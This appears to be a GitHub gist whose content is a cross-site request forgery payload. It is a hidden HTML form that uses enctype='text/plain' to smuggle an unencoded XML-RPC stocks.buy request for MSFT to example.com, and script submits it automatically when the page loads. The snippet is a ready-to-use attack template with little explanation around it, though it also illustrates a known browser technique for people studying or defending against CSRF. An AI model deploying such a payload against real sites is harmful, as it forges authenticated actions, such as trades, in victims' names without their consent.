Skip to content

Instantly share code, notes, and snippets.

@thomd
Created December 19, 2012 16:03
Show Gist options
  • Save thomd/4337839 to your computer and use it in GitHub Desktop.
Save thomd/4337839 to your computer and use it in GitHub Desktop.
a perfectly formatted Cross-Domain XML POST request. The ENCTYPE avoids the body being encoded
<form name="example" enctype="text/plain" action="http://example.com/xmlrpc/" method="post">
<input type="hidden" name='<?xml version'
value='"1.0"?><methodCall><methodName>stocks.buy</methodName><params><param><value><string>MSFT</string></value></param><param><value><double>26</double></value></param></params></methodCall>'>
</form>
<script>document.example.submit();</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment